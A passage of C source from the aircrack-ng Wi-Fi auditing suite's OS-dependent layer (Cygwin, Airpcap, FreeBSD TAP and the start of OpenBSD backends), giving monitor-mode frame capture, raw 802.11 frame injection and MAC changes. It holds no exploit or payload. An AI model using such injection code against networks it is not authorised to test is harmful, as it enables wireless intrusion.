xstr(CYGWIN_DLL_SNIFF)); if (!(priv->pc_init && priv->pc_set_chan && priv->pc_get_mac && priv->pc_inject && priv->pc_sniff && priv->pc_close)) goto errdll; /* init lib */ if ((rc = priv->pc_init(parm))) goto errdll; priv->pc_did_init = 1; rc = 0; errdll: free(file); } else { #ifdef HAVE_AIRPCAP // Check if it's an Airpcap device priv->isAirpcap = isAirpcapDevice(iface); if (priv->isAirpcap) { // Get functions priv->pc_init = airpcap_init; priv->pc_set_chan = airpcap_set_chan; priv->pc_get_mac = airpcap_get_mac; priv->pc_set_mac = airpcap_set_mac; priv->pc_close = airpcap_close; priv->pc_inject = airpcap_inject; priv->pc_sniff = airpcap_sniff; rc = 0; } #endif } if (rc == 0) { // Don't forget to initialize if (! priv->useDll) { rc = priv->pc_init(iface); if (rc == 0) priv->pc_did_init = 1; else fprintf(stderr,"Error initializing <%s>\n", iface); } if (priv->pc_did_init) { /* set initial chan */ tempret = wi_set_channel(wi, 1); if (tempret) rc = tempret; } } else { // Show an error message if the adapter is not supported fprintf(stderr, "Adapter <%s> not supported\n", iface); } return rc; } /** * Change channel * @param chan Channel * @return 0 if successful, -1 if it failed */ static int cygwin_set_channel(struct wif *wi, int chan) { struct priv_cygwin *priv = wi_priv(wi); if (priv->pc_set_chan(chan) == -1) return -1; priv->pc_channel = chan; return 0; } /** * Change frequency * @param freq Frequency * @return 0 if successful, -1 if it failed */ static int cygwin_set_freq(struct wif *wi, int freq) { struct priv_cygwin *priv = wi_priv(wi); if (!priv->pc_set_freq || priv->pc_set_freq(freq) == -1) return -1; priv->pc_frequency = freq; return 0; } /** * Capture a packet * @param buf Buffer for the packet (has to be already allocated) * @param len Length of the buffer * @param ri Receive information structure * @return -1 in case of failure or the number of bytes received */ static int cygwin_read_packet(struct priv_cygwin *priv, void *buf, int len, struct rx_info *ri) { int rd; memset(ri, 0, sizeof(*ri)); rd = priv->pc_sniff(buf, len, ri); if (rd == -1) return -1; if (!ri->ri_channel) ri->ri_channel = wi_get_channel(priv->pc_wi); return rd; } /** * Send a packet * @param h80211 The packet itself * @param len Length of the packet * @param ti Transmit information * @return -1 if failure or the number of bytes sent */ static int cygwin_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_cygwin *priv = wi_priv(wi); int rc; if ((rc = priv->pc_inject(h80211, len, ti)) == -1) return -1; return rc; } /** * Get device channel * @return channel */ static int cygwin_get_channel(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_channel; } static int cygwin_get_freq(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_frequency; } int cygwin_read_reader(int fd, int plen, void *dst, int len) { /* packet */ if (len > plen) len = plen; if (net_read_exact(fd, dst, len) == -1) return -1; plen -= len; /* consume packet */ while (plen) { char lame[1024]; int rd = sizeof(lame); if (rd > plen) rd = plen; if (net_read_exact(fd, lame, rd) == -1) return -1; plen -= rd; assert(plen >= 0); } return len; } static int cygwin_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_cygwin *pc = wi_priv(wi); struct rx_info tmp; int plen; if (pc->pc_running == -1) return -1; if (!ri) ri = &tmp; /* length */ if (net_read_exact(pc->pc_pipe[0], &plen, sizeof(plen)) == -1) return -1; /* ri */ if (net_read_exact(pc->pc_pipe[0], ri, sizeof(*ri)) == -1) return -1; plen -= sizeof(*ri); assert(plen > 0); return cygwin_read_reader(pc->pc_pipe[0], plen, h80211, len); } /** * Free allocated data */ static void do_free(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); int tries = 3; /* wait for reader */ if (pc->pc_running == 1) { pc->pc_running = 0; while ((pc->pc_running != -1) && tries--) sleep(1); } if (pc->pc_pipe[0]) { close(pc->pc_pipe[0]); close(pc->pc_pipe[1]); } if (pc->pc_did_init) pc->pc_close(); assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } /** * Close the device and free data */ static void cygwin_close(struct wif *wi) { do_free(wi); } /** * Get the file descriptor for the device */ static int cygwin_fd(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); if (pc->pc_running == -1) return -1; return pc->pc_pipe[0]; } /** * Get MAC Address of the device * @param mac It will contain the mac address * @return 0 if successful */ static int cygwin_get_mac(struct wif *wi, unsigned char *mac) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_get_mac(mac); } /** * Set MAC Address of the device * @param mac MAC Address * @return 0 if successful */ static int cygwin_set_mac(struct wif *wi, unsigned char *mac) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_set_mac(mac); } static int cygwin_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ return 0; } static int cygwin_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ return 1000000; } /** * Set (injection) rate of the device * @param rate Rate to be used * @return 0 (successful) */ static int cygwin_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ return 0; } static void *cygwin_reader(void *arg) { struct priv_cygwin *priv = arg; unsigned char buf[2048]; int len; struct rx_info ri; while (priv->pc_running) { /* read one packet */ /* a potential problem: the cygwin_read_packet will never return * if there no packet sniffered, so the thread cannot be closed * correctly. */ len = cygwin_read_packet(priv, buf, sizeof(buf), &ri); if (len == -1) break; /* len */ len += sizeof(ri); if (write(priv->pc_pipe[1], &len, sizeof(len)) != sizeof(len)) break; len -= sizeof(ri); /* ri */ if (write(priv->pc_pipe[1], &ri, sizeof(ri)) != sizeof(ri)) break; /* packet */ if (write(priv->pc_pipe[1], buf, len) != len) break; } priv->pc_running = -1; return NULL; } static struct wif *cygwin_open(char *iface) { struct wif *wi; struct priv_cygwin *priv; /* setup wi struct */ wi = wi_alloc(sizeof(*priv)); if (!wi) return NULL; wi->wi_read = cygwin_read; wi->wi_write = cygwin_write; wi->wi_set_channel = cygwin_set_channel; wi->wi_get_channel = cygwin_get_channel; wi->wi_set_freq = cygwin_set_freq; wi->wi_get_freq = cygwin_get_freq; wi->wi_close = cygwin_close; wi->wi_fd = cygwin_fd; wi->wi_get_mac = cygwin_get_mac; wi->wi_set_mac = cygwin_set_mac; wi->wi_get_rate = cygwin_get_rate; wi->wi_set_rate = cygwin_set_rate; wi->wi_get_monitor = cygwin_get_monitor; /* setup iface */ if (do_cygwin_open(wi, iface) == -1) goto err; /* setup private state */ priv = wi_priv(wi); priv->pc_wi = wi; /* setup reader */ if (pipe(priv->pc_pipe) == -1) goto err; priv->pc_running = 2; if (pthread_create(&priv->pc_reader, NULL, cygwin_reader, priv)) goto err; priv->pc_running = 1; return wi; err: do_free(wi); return NULL; } struct wif *wi_open_osdep(char *iface) { return cygwin_open(iface); } /** * Return remaining battery time in seconds. * @return Battery time in seconds or 0 if no battery (or connected to power) */ int get_battery_state(void) { SYSTEM_POWER_STATUS powerStatus; int batteryTime = 0; if (GetSystemPowerStatus(&powerStatus) == TRUE) { if (powerStatus.ACLineStatus == 0) batteryTime = (int)powerStatus.BatteryLifeTime; } return batteryTime; } aircrack-ng-1.2-rc4/src/osdep/cygwin.h0000644000000000000000000000364612506414643016311 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. It relies on an external * DLL to do the actual wifi stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ // DLL function that have to be exported #define CYGWIN_DLL_INIT cygwin_init #define CYGWIN_DLL_SET_CHAN cygwin_set_chan #define CYGWIN_DLL_SET_FREQ cygwin_set_freq #define CYGWIN_DLL_INJECT cygwin_inject #define CYGWIN_DLL_SNIFF cygwin_sniff #define CYGWIN_DLL_GET_MAC cygwin_get_mac #define CYGWIN_DLL_SET_MAC cygwin_set_mac #define CYGWIN_DLL_CLOSE cygwin_close /* * Prototypes: * int CYGWIN_DLL_INIT (char *param); * int CYGWIN_DLL_SET_CHAN (int chan); * int CYGWIN_DLL_INJECT (void *buf, int len, struct tx_info *ti); * int CYGWIN_DLL_SNIFF (void *buf, int len, struct rx_info *ri); * int CYGWIN_DLL_GET_MAC (unsigned char *mac); * int CYGWIN_DLL_SET_MAC (unsigned char *mac); * void CYGWIN_DLL_CLOSE (void); * * Notes: * - sniff can block and inject can be called by another thread. * - return -1 for error. * */ /* XXX the interface is broken. init() should return a void* that is passed to * each call. This way multiple instances can be open by a single process. * -sorbo * */ aircrack-ng-1.2-rc4/src/osdep/osdep.h0000644000000000000000000001465512636131661016125 0ustar rootroot/* * Copyright (c) 2007, 2008, Andrea Bittau * All OS dependent crap should go here. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef __AIRCRACK_NG_OSEDEP_H__ #define __AIRCRACK_NG_OSEDEP_H__ #include #include #include "byteorder.h" #include "packed.h" #if defined(__APPLE_CC__) && defined(_XCODE) #include #undef LINKTYPE_RADIOTAP_HDR #define LINKTYPE_RADIOTAP_HDR DLT_IEEE802_11_RADIO #undef LINKTYPE_IEEE802_11 #define LINKTYPE_IEEE802_11 DLT_IEEE802_11 #undef LINKTYPE_PRISM_HEADER #define LINKTYPE_PRISM_HEADER DLT_PRISM_HEADER #undef LINKTYPE_ETHERNET #define LINKTYPE_ETHERNET DLT_ERF_ETH #undef LINKTYPE_PPI_HDR #define LINKTYPE_PPI_HDR DLT_PPI #undef TCPDUMP_MAGIC #define TCPDUMP_MAGIC 0xa1b2c3d4 #endif /* For all structures, when adding new fields, always append them to the end. * This way legacy binary code does not need to be recompiled. This is * particularly useful for DLLs. -sorbo */ struct tx_info { unsigned int ti_rate; }; struct rx_info { uint64_t ri_mactime; int32_t ri_power; int32_t ri_noise; uint32_t ri_channel; uint32_t ri_freq; uint32_t ri_rate; uint32_t ri_antenna; } __packed; /* Normal code should not access this directly. Only osdep. * This structure represents a single interface. It should be created with * wi_open and destroyed with wi_close. */ #define MAX_IFACE_NAME 64 struct wif { int (*wi_read)(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri); int (*wi_write)(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti); int (*wi_set_channel)(struct wif *wi, int chan); int (*wi_get_channel)(struct wif *wi); int (*wi_set_freq)(struct wif *wi, int freq); int (*wi_get_freq)(struct wif *wi); void (*wi_close)(struct wif *wi); int (*wi_fd)(struct wif *wi); int (*wi_get_mac)(struct wif *wi, unsigned char *mac); int (*wi_set_mac)(struct wif *wi, unsigned char *mac); int (*wi_set_rate)(struct wif *wi, int rate); int (*wi_get_rate)(struct wif *wi); int (*wi_set_mtu)(struct wif *wi, int mtu); int (*wi_get_mtu)(struct wif *wi); int (*wi_get_monitor)(struct wif *wi); void *wi_priv; char wi_interface[MAX_IFACE_NAME]; }; /* Routines to be used by client code */ extern struct wif *wi_open(char *iface); extern int wi_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri); extern int wi_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti); extern int wi_set_channel(struct wif *wi, int chan); extern int wi_get_channel(struct wif *wi); extern int wi_set_freq(struct wif *wi, int freq); extern int wi_get_freq(struct wif *wi); extern void wi_close(struct wif *wi); extern char *wi_get_ifname(struct wif *wi); extern int wi_get_mac(struct wif *wi, unsigned char *mac); extern int wi_set_mac(struct wif *wi, unsigned char *mac); extern int wi_get_rate(struct wif *wi); extern int wi_set_rate(struct wif *wi, int rate); extern int wi_get_monitor(struct wif *wi); extern int wi_get_mtu(struct wif *wi); extern int wi_set_mtu(struct wif *wi, int mtu); /* wi_open_osdep should determine the type of card and setup the wif structure * appropriately. There is one per OS. Called by wi_open. */ extern struct wif *wi_open_osdep(char *iface); /* This will return the FD used for reading. This is required for using select * on it. */ extern int wi_fd(struct wif *wi); /* Helper routines for osdep code. */ extern struct wif *wi_alloc(int sz); extern void *wi_priv(struct wif *wi); /* Client code can use this to determine the battery state. One per OS. */ extern int get_battery_state(void); /* Client code can create a tap interface */ /* XXX we can unify the tap & wi stuff in the future, but for now, lets keep * them seperate until we learn something. */ struct tif { int (*ti_read)(struct tif *ti, void *buf, int len); int (*ti_write)(struct tif *ti, void *buf, int len); int (*ti_fd)(struct tif *ti); char *(*ti_name)(struct tif *ti); int (*ti_set_mtu)(struct tif *ti, int mtu); int (*ti_get_mtu)(struct tif *ti); int (*ti_set_ip)(struct tif *ti, struct in_addr *ip); int (*ti_set_mac)(struct tif *ti, unsigned char *mac); void (*ti_close)(struct tif *ti); void *ti_priv; }; /* one per OS */ extern struct tif *ti_open(char *iface); /* osdep routines */ extern struct tif *ti_alloc(int sz); extern void *ti_priv(struct tif *ti); /* client routines */ extern char *ti_name(struct tif *ti); extern int ti_set_mtu(struct tif *ti, int mtu); extern int ti_get_mtu(struct tif *ti); extern void ti_close(struct tif *ti); extern int ti_fd(struct tif *ti); extern int ti_read(struct tif *ti, void *buf, int len); extern int ti_write(struct tif *ti, void *buf, int len); extern int ti_set_mac(struct tif *ti, unsigned char *mac); extern int ti_set_ip(struct tif *ti, struct in_addr *ip); #endif /* __AIRCRACK_NG_OSEDEP_H__ */ aircrack-ng-1.2-rc4/src/osdep/airpcap.c0000644000000000000000000002254012660207441016412 0ustar rootroot /* * Copyright (c) 2007-2016 Thomas d'Otreppe * * Airpcap stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifdef HAVE_AIRPCAP #include #include #include #include #include #include #include "osdep.h" //------------------ PPI --------------------- #define PPH_PH_VERSION ((u_int8_t)0x00) #define PPI_FIELD_TYPE_802_11_COMMON ((u_int16_t)0x02) typedef struct _PPI_PACKET_HEADER { u_int8_t PphVersion; u_int8_t PphFlags; u_int16_t PphLength; u_int32_t PphDlt; } PPI_PACKET_HEADER, *PPPI_PACKET_HEADER; typedef struct _PPI_FIELD_HEADER { u_int16_t PfhType; u_int16_t PfhLength; } PPI_FIELD_HEADER, *PPPI_FIELD_HEADER; typedef struct _PPI_FIELD_802_11_COMMON { u_int64_t TsfTimer; u_int16_t Flags; u_int16_t Rate; u_int16_t ChannelFrequency; u_int16_t ChannelFlags; u_int8_t FhssHopset; u_int8_t FhssPattern; int8_t DbmAntSignal; int8_t DbmAntNoise; } PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON; #define DEVICE_PREFIX "\\\\.\\" #define DEVICE_COMMON_PART "airpcap" PAirpcapHandle airpcap_handle; /** * Check if the device is an Airpcap device * @param iface Interface name * @return 1 if it is an Airpcap device, 0 if not */ int isAirpcapDevice(const char * iface) { char * pos; int len; pos = strstr(iface, DEVICE_COMMON_PART); // Check if it contains "airpcap" if (! pos) return 0; if (pos != iface) { // Check if it begins with '\\.\' if (strstr(iface, AIRPCAP_DEVICE_NAME_PREFIX) != iface) return 0; } len = strlen(iface); // Checking that it contains 2 figures at the end. // No need to check for length, it was already done by the first check if (! (isdigit((int)iface[len - 1])) || !(isdigit((int)iface[len - 2]))) return 0; return 1; } /** * Parse information from a PPI packet (will be used later). * @param p packet * @param caplen Length of the packet * @param hdrlen Length of the header * @param power pointer that will contains the power of the packet * @return 0 if successful decoding, 1 if it failed to decode */ int ppi_decode(const u_char *p, int caplen, int *hdrlen, int *power) { PPPI_PACKET_HEADER pPpiPacketHeader; PPPI_FIELD_HEADER pFieldHeader; ULONG position = 0; // Sanity checks if (caplen < (int)sizeof(*pPpiPacketHeader)) { // Packet smaller than the PPI fixed header return( 1 ); } pPpiPacketHeader = (PPPI_PACKET_HEADER)p; *hdrlen = pPpiPacketHeader->PphLength; if(caplen < *hdrlen) { // Packet smaller than the PPI fixed header return( 1 ); } position = sizeof(*pPpiPacketHeader); if (pPpiPacketHeader->PphVersion != PPH_PH_VERSION) { fprintf( stderr, "Unknown PPI packet header version (%u)\n", pPpiPacketHeader->PphVersion); return( 1 ); } do { // now we suppose to have an 802.11-Common header if (*hdrlen < (int)(sizeof(*pFieldHeader) + position)) { break; } pFieldHeader = (PPPI_FIELD_HEADER)(p + position); position += sizeof(*pFieldHeader); switch(pFieldHeader->PfhType) { case PPI_FIELD_TYPE_802_11_COMMON: if (pFieldHeader->PfhLength != sizeof(PPI_FIELD_802_11_COMMON) || caplen - position < sizeof(PPI_FIELD_802_11_COMMON)) { // the header is bogus, just skip it fprintf( stderr, "Bogus 802.11-Common Field. Skipping it.\n"); } else { PPPI_FIELD_802_11_COMMON pField = (PPPI_FIELD_802_11_COMMON)(p + position); if (pField->DbmAntSignal != -128) { *power = (int)pField->DbmAntSignal; } else { *power = 0; } } break; default: // we do not know this field. Just print type and length and skip break; } position += pFieldHeader->PfhLength; } while(TRUE); return( 0 ); } /** * Set MAC Address of the device * @param mac MAC Address * @return 0 (successful) */ int airpcap_set_mac(void *mac) { if (mac) {} return 0; } /** * Close device */ void airpcap_close(void) { // By default, when plugged in, the adapter is set in monitor mode; // Application may assume it's already in monitor mode and forget to set it // So, do not remove monitor mode. if (airpcap_handle != NULL) { AirpcapClose(airpcap_handle); airpcap_handle = NULL; } } /** * Get MAC Address of the device (not yet implemented) * @param mac It will contain the mac address * @return 0 (successful) */ int airpcap_get_mac(void *mac) { // Don't use the function from Airpcap if (mac) {} return 0; } /** * Capture one packet * @param buf Buffer for the packet * @param len Length of the buffer * @param ri Receive information * @return -1 if failure or the number of bytes received */ int airpcap_sniff(void *buf, int len, struct rx_info *ri) { // Use PPI headers to obtain the different information for ri // Use AirpcapConvertFrequencyToChannel() to get channel // Add an option to give frequency instead of channel UINT BytesReceived = 0; if (ri) {} // Wait for the next packet // Maybe add an event packets to read // WaitForSingleObject(ReadEvent, INFINITE); // Read a packet if(AirpcapRead(airpcap_handle, buf, len, &BytesReceived)) return (int)BytesReceived; return -1; } /** * Inject one packet * @param buf Buffer for the packet * @param len Length of the buffer * @param ti Transmit information * @return -1 if failure or the number of bytes sent */ int airpcap_inject(void *buf, int len, struct tx_info *ti) { if (ti) {} if (AirpcapWrite (airpcap_handle, buf, len) != 1) return -1; return len; } /** * Print the error message * @param err Contains the error message and a %s in order to show the Airpcap error * @param retValue Value returned by the function * @return retValue */ int printErrorCloseAndReturn(const char * err, int retValue) { if (err && airpcap_handle) { if (strlen(err)) { if (airpcap_handle) fprintf( stderr, err, AirpcapGetLastError(airpcap_handle)); else fprintf( stderr, err); } } airpcap_close(); return retValue; } /** * Initialize the device * @param param Parameters for the initialization * @return 0 if successful, -1 in case of failure */ int airpcap_init(char *param) { // Later: if several interfaces are given, aggregate them. char * iface; char errbuf[AIRPCAP_ERRBUF_SIZE ]; iface = (char *)calloc(1, strlen(param) + 100); if (param) { // if it's empty, use the default adapter if (strlen(param) > 0) { if (strstr(param, DEVICE_PREFIX) == NULL) { // Not found, add it strcpy(iface, DEVICE_PREFIX); strcat(iface, param); } else { // Already contains the adapter header strcpy(iface, param); } } } airpcap_handle = AirpcapOpen(iface, errbuf); if(airpcap_handle == NULL) { fprintf( stderr, "This adapter doesn't have wireless extensions. Quitting\n"); //pcap_close( winpcap_adapter ); return( -1 ); } /* Tell the adapter that the packets we'll send and receive don't include the FCS */ if(!AirpcapSetFcsPresence(airpcap_handle, FALSE)) return printErrorCloseAndReturn("Error setting FCS presence: %s\n", -1); /* Set the link layer to bare 802.11 */ if(!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11)) return printErrorCloseAndReturn("Error setting the link type: %s\n", -1); /* Accept correct frames only */ if( !AirpcapSetFcsValidation(airpcap_handle, AIRPCAP_VT_ACCEPT_CORRECT_FRAMES) ) return printErrorCloseAndReturn("Error setting FCS validation: %s\n", -1); /* Set a low mintocopy for better responsiveness */ if(!AirpcapSetMinToCopy(airpcap_handle, 1)) return printErrorCloseAndReturn("Error setting MinToCopy: %s\n", -1); return 0; } /** * Set device channel * @param chan Channel * @return 0 if successful, -1 if it failed */ int airpcap_set_chan(int chan) { // Make sure a valid channel is given if (chan <= 0) return -1; if(!AirpcapSetDeviceChannel(airpcap_handle, chan)) { printf("Error setting the channel to %d: %s\n", chan, AirpcapGetLastError(airpcap_handle)); return -1; } return 0; } #endif aircrack-ng-1.2-rc4/src/osdep/packed.h0000644000000000000000000000347612511403324016227 0ustar rootroot/* * Pack structures * * Copyright (c) 2007, 2008, Andrea Bittau * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef __AIRCRACK_NG_OSDEP_PACKED_H__ #define __AIRCRACK_NG_OSDEP_PACKED_H__ #ifndef __packed #define __packed __attribute__ ((__packed__)) #endif /* __packed */ #ifndef __aligned #define __aligned(n) #endif #endif /* __AIRCRACK_NG_OSEDEP_PACKED_H__ */ aircrack-ng-1.2-rc4/src/osdep/freebsd_tap.c0000644000000000000000000001130410761053203017240 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for FreeBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_fbsd { int tf_fd; int tf_ioctls; struct ifreq tf_ifr; char tf_name[MAX_IFACE_NAME]; int tf_destroy; }; static int ti_do_open_fbsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_fbsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->tf_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tf_ioctls = s; /* get flags */ ifr = &priv->tf_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = (ifr->ifr_flags & 0xffff) | (ifr->ifr_flagshigh << 16); /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; ifr->ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_fbsd *priv) { ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr); } static void ti_close_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); if (priv->tf_destroy) ti_destroy(priv); close(priv->tf_fd); close(priv->tf_ioctls); ti_do_free(ti); } static char *ti_name_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); return priv->tf_name; } static int ti_set_mtu_fbsd(struct tif *ti, int mtu) { struct tip_fbsd *priv = ti_priv(ti); priv->tf_ifr.ifr_mtu = mtu; return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr); } static int ti_set_mac_fbsd(struct tif *ti, unsigned char *mac) { struct tip_fbsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->tf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_fbsd(struct tif *ti, struct in_addr *ip) { struct tip_fbsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); return priv->tf_fd; } static int ti_read_fbsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_fbsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_fbsd(char *iface) { struct tif *ti; struct tip_fbsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_fbsd; ti->ti_set_mtu = ti_set_mtu_fbsd; ti->ti_close = ti_close_fbsd; ti->ti_fd = ti_fd_fbsd; ti->ti_read = ti_read_fbsd; ti->ti_write = ti_write_fbsd; ti->ti_set_mac = ti_set_mac_fbsd; ti->ti_set_ip = ti_set_ip_fbsd; /* setup iface */ fd = ti_do_open_fbsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tf_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_fbsd(iface); } aircrack-ng-1.2-rc4/src/osdep/openbsd.c0000644000000000000000000003045612627456076016447 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for OpenBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define _KERNEL #include #undef _KERNEL #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #ifndef IEEE80211_RADIOTAP_F_FCS #define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */ #endif #ifndef IEEE80211_IOC_CHANNEL #define IEEE80211_IOC_CHANNEL 0 #endif #ifndef le32toh #define le32toh(x) htole32(x) #endif struct priv_obsd { /* iface */ int po_fd; /* rx */ int po_nocrc; /* tx */ unsigned char po_buf[4096]; unsigned char *po_next; int po_totlen; /* setchan */ int po_s; struct ifreq po_ifr; struct ieee80211chanreq po_ireq; int po_chan; }; static void get_radiotap_info(struct priv_obsd *po, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = 